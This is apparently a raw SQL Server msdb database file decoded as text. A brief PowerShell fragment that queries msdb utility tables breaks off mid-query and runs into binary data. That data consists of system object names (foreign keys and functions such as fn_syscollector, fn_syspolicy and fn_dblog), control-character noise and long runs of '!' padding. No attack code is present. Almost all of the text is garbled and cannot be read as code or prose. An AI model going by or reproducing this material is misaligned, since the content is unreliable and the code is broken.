      $sfcQueries = Get-SqlDataTable $objectsQuery | %{ $_.Rows }
      
      foreach ($sfcQueryRow in $sfcQueries)
      {
         [Int32] $object_type = $sfcQueryRow.object_type;
         $sfcQueryString = $sfcQueryRow.sfc_query.ToString();
   
         Write-ScriptVerbose "Retrieving list of properties to collect"
         $propertiesQuery = "SELECT property_name 
                        FROM [msdb].[dbo].[sysutility_mi_smo_properties_to_collect_internal] 
         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
K\"f8[t0E&^rFK_syscollector_collection_sets_collection_sysjobs&%tFK_syscollector_collection_sets_internal_sysproxies&jFK_syscollector_collection_sets_upload_sysjobs& FK_syscollector_collector_types_internal_collection_sysssispackages&|FK_syscollector_collector_types_internal_upload_sysssispackages&z#9NFK_sysmail_mailitems_mailitem_id&RFK_sysmaintplan_log_detail_task_id&OJFK_sysmaintplan_log_subplan_id&!Nfn_syscollector_get_package_path&]w	nfn_syscollector_highest_incompatible_mdw_version&c~=lFK_syscollector_execution_log_collection_set_id&BBZFK_syscollector_execution_stats_log_id&,M^fn_syscollector_find_collection_set_root&eNZfn_syscollector_get_execution_log_tree&˜OTfn_syscollector_get_execution_stats&PXfn_syscollector_get_execution_details&g3_FK_syscollector_tsql_query_collector_syscollector_collection_items_internal&ZFK_syspolicy_conditions_internal_facet&Qh#vFK_syspolicy_object_sets_syspolicy_management_facets&Y'bFK_syspolicy_policies_syspolicy_conditions&SM(pFK_syspolicy_policies_syspolicy_policy_categories&B)lFK_syspolicy_policies_syspolicy_root_conditions&<6*HFK_syspolicy_policies_sysjobs&`*+dFK_syspolicy_policies_syspolicy_object_sets&p-Dfn_syspolicy_get_ps_command&3DjFK_syspolicy_target_sets_syspolicy_object_sets&úHLFK_syspolicy_levels_target_sets&IJFK_syspolicy_levels_conditions&uWFK_syspolicy_policy_category_subscriptions_syspolicy_policy_categories&>fn_sysdac_is_dac_creator&%Bfn_sysdac_is_login_creator&^Dfn_sysdac_is_currentuser_sa&:fn_sysdac_get_username&>Hfn_sysdac_get_currentusername&(yLFK_sysutility_mi_smo_properties&*#Nfn_encode_sqlname_for_powershell&R2fn_sqlvarbasetostr&B#@fn_cdc_get_column_ordinal&cbfn_replreplacesinglequoteplusprotectstring&1(fn_dump_dblog&195:fn_GetCurrentPrincipal&],fn_isrolemember&h@fn_MSxe_read_event_stream&
.fn_MSdayasnumber&;Hfn_MSget_dynamic_filter_login&N2fn_replvarbintoint&/n0fn_RowDumpCracker&nyf2fn_repldecryptver4&
fn_dblog&c+0fn_helpcollations&
36fn_cdc_increment_lsn&2@:fn_replgetparsedddlcmd&o&fn_MStestbit&r4fn_PhysLocFormatter&0fn_PhysLocCracker&WFfn_numberOf1InBinaryAfterLoc&*@fn_replreplacesinglequote& P2fn_helpdatatypemap&D2*fn_MSorbitmaps&gFfn_MSrepl_map_resolver_clsid&Tfn_hadr_backup_is_preferred_replica&f:fn_repladjustcolumnmap&PFfn_MSgeneration_downloadonly&`0fn_get_audit_file& @@fn_GetRowsetIdFromRowDump&F<fn_listextendedproperty&mW2fn_cdc_get_min_lsn&iS	>fn_EnumCurrentPrincipals&N2fn_cdc_get_max_lsn&F.fn_MapSchemaType&p0fn_my_permissions&q9"fn_get_sql&~V`:fn_builtin_permissions&a<fn_cdc_check_parameters&Qݣ0fn_repluniquename&B8fn_servershareddrives&>fn_MSvector_downloadonly&ZV.fn_fIsColTracked&eN6fn_cdc_decrement_lsn&kWBfn_check_object_signatures&j:fn_cdc_map_lsn_to_time&\2fn_cdc_hexstrtobin&b;8fn_replformatdatetime&4fn_repl_hash_binary&@fn_replp2pversiontotranid&1\0fn_cdc_is_bit_set&4X@fn_replgetcolidfrombitmap&Fu6fn_IsBitSetInBitmask&
?:fn_cdc_map_time_to_lsn&xT2fn_cColvEntries_80&O@fn_cdc_has_column_changed&V5<fn_numberOf1InVarBinarylicy_policy_category_subscriptions&uWFK_syspolicy_policy_category_subscriptions_syspolicy_policy_categories&]JPK__syspolic__409BC9E5A43A0EC9&qaJPK__syspolic__096AA2E9D00BEAF6&w'inPK_syspolicy_policy_execution_history_details_id&v@queue_messages_1972202076&@]yJPK__syspolic__72E12F1A2F2E06A8&Rfn_syspolicy_is_automation_enabled&>fn_sysdac_is_dac_creator&%Bfn_sysdac_is_login_creator&^Dfn_sysdac_is_currentuser_sa&:fn_sysdac_get_username&>Hfn_sysdac_get_currentusername&B
FPK_sysdac_instances_internal&`ABPK_sysdac_history_internal&~}<%JPK__sysutili__72E12F1A539BA7C8&)(Pfn_sysutility_get_is_instance_ucp&(yLFK_sysutility_mi_smo_prop	\H<
 .6,L(X&hf^6Xn
h<TvfX
4z"
B
Bv	R	

DpvDF`"49\$ zG=`:.NJ!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p`
i"z:VXjG=`Qr`\`a`k1avfaHaa-%bWZbb<bfcNcȃcuc
dBdwdde7e,lee!e;++fe5`f ;fJEftOgY_gigshhh˧iii̅j.ֺjXj$k=ykgkkll(l2
mBmMm-Wngn<qnf{n!JoKouooZ>pspppgqݜqq[r rJrs/PsY&s0sh@DtJytTtwZud8unmuxuu~uڈ,vav.vv w=Uwgw˿w"wLxvIx~x[xy=y	syyyy.gz3z=zKR[{u\{X{0b{Zl|vO||?||i|}C}x}x}}̴~7~Č~~~/+>w!Ew!iw!"w![w!Nw!d(Q\1iU]jnb֣֣֣?C֣xgt	֣h
֣OW9KN]?	3
N]?	'N]?	N]?	2
N]?	kN]?	6
Ͽ

A

z,
P
t
%
^

Ff8\#P\\D
\9\@-\P"U[yZZOZe!@e!y	e!e!e!+Psg?
\$]>$b$φ$$AϪ$LRx.PRDx.Pv8x.P#,x.P\ x.Px.P	x.P,x.P@Px.Pytx.Px.Px.P$ x.Po?+zz;z%`{z^ozczW z	K!zB@"z{94#zpS'K'
p'C'|' " !" "" Q/"" S#" w$" %]!)"]!M#]!r$]!A%]!zz&]!n']!c(]!%'W)]!^KK*]($%]($&&]($_']($T5&n'5&(Dڎ'}(Dڎ'"w)Dڎ'Fk*Dڎ'(k_+'('
7)'C[*'|+','DZ-''.'`/'40'X1'}v2'HU,)Q*,)Ru+,Ľ|-,p.,6e/,o*Y0,NM1,rA2,53,S)44
5aV/8z#9aV/8Ӟ:aV/8;aV/8ݳV':`u;':i<':^=':DR>':DhF?':}:@':.Aҕ;*<ҕ;c~=T<%=~</=~<S>~<)x?~<b@I>m?I>8@I>qAZ@GNAZ@BBABA
	CAF-DAQEAWwBkCwB#`DwBsBR(CaDUGTEkHFUGTEǏ<GFEG0H9$I0HrJ*eHcYI*eHNJ~HI~HJ 
KDL 
KiL*BKO6L*BKGs*MbcLMbcLԫNbcL
|ObcLFpPVMNOPeQ<YReQ`MSeQ*ATeQc5UeQ)VfS劖TrWgXXG:YX^YXZX[@[Y;dOZ@[YtC[d]iwd#2zwd!H&{e5`fYTge5`f}Hhe5`f<ie5`fI0j=ykvnl=yk8bm=yk\VnZ>p2qZ>p&rs>6tuXv˿wxy<8zJ~[\.^g3_Dڎ'W`.^{abKģcdee0fe/Utgehyhhe\iPjPjDkPjL
9lPj.-mR!nvo0	pipqr,sMPttuvw1xjy)z)zM{{ro|ro|Nc}ro|W~KK@K2'4KkK(KoKݓKKOKP"FP"jvP"jmRFmR;mRD/mRQh#AeAARAҬ A!A"A6?#Aoc}$Aq%Ae&AY'ASM(AB)A<6*A`*+A.A.A/AT:0A^1AƂ2K8˳4Kq5K6CCC3Ds{FGs{FúHs{FIs{F.DRs{FXR8SCv,TCʚ UV<WVuW\]\^vM`vM`qavM`zbvM`!ncvM`ZbdvM`WevM`&KfK?g>o3h>o3hw'i>o3hj>o3hk"l[$lHmlno?pxټqrr!s#Ft\ju\juvβuwixix@]yyRzCF{g:|$.}]"~	c	B
	c	{|	c	p	c	d
	c	&Y_<M`A_<Mф5_<M
)_<MC_<M|EYH$~}<%cT1x2cT1՜3cT1~4Gr5	g6Gr5-[7Gr5QO8Gr5+vC9Gr5d7:Gr5+;nJM>N.HSglS.HST.HSٴUVKWր]t^ր]i_ր]LC]`ր]gQaEbEb9cEb0-dEbi!eEbfEb@
gEbegEbMhEbiEbjEbkEb1lEbj>mEbbnEb܆oEbpEbNχqEb{rps;dt2`Xu2`XukLv@w@w4x@w(yOz9{]||3}l~£ǎ4ǎmwǎ4kǎX_	ǎ}S
/

$/
52RS-rQfN7B A;֗BAtCADABtEAghFX\GPHX\GDIX\G8JX\G<-KX\Gu@!LdM	NdM NdMYOdMPdMQ>R=bS>RvT>RUΞV!WΞVZXΞV;{Y4_"9(`4_[]a4_b4_ͥc4_c4_?d4_xe4_6f4_Zg4_#h4_\i4_ǥj4_k4_l@4m@4myXvn@4m|jo@4m^p@4m$Rq@4m]Fr@4m
;s@4m1/t@4mV#u@4mAzv@4mzw@4mw@4mx@4m%y@4m^/zS{S{w|S{	}S{B~S{{S{S{,S{&Q}S{_uqS{eS{ѽYS{
MS{CB|*6N*	|*6r
|*6'|*6`|*6|*6
|*6(|*6DL|*6}p|*6|*6︳|*6(ݧEl~`D0@81D0Hd,2D0 345,5e69I:ε;<=-;>f_?z@!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!ndZ8.$D:0&vlbXN

VLv
8l
b
X
N
D
:
* h^T0
&






zp6,"|rh^TJ@6,"

\RH>
4* |rh^TJ@6,"xndZxxndZPF<2(PFp<2(f

\








R

~
t
Hj
>4* `
V
L
B
8
.
$



												
	z	p	f	\	R	H	>	4	*	 				PF<2(
vlbXND:0&
|rh^TJ@6~tj`,"vVLBxndZPF<2(lbXND
~tj`VLB8.:$0&~tzpjf\R`H>4* Bvl.bXzND$:p0&f\RH>|rh4^TJ@|6,"rJ@xndZPF
<2(



f~tj`$h;Up$Kw8QJŽtGData Collector	p$B<9+`BCaO%Kw8QJŽt=Generated	P$#p$M
]MMaintenance Plans$!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!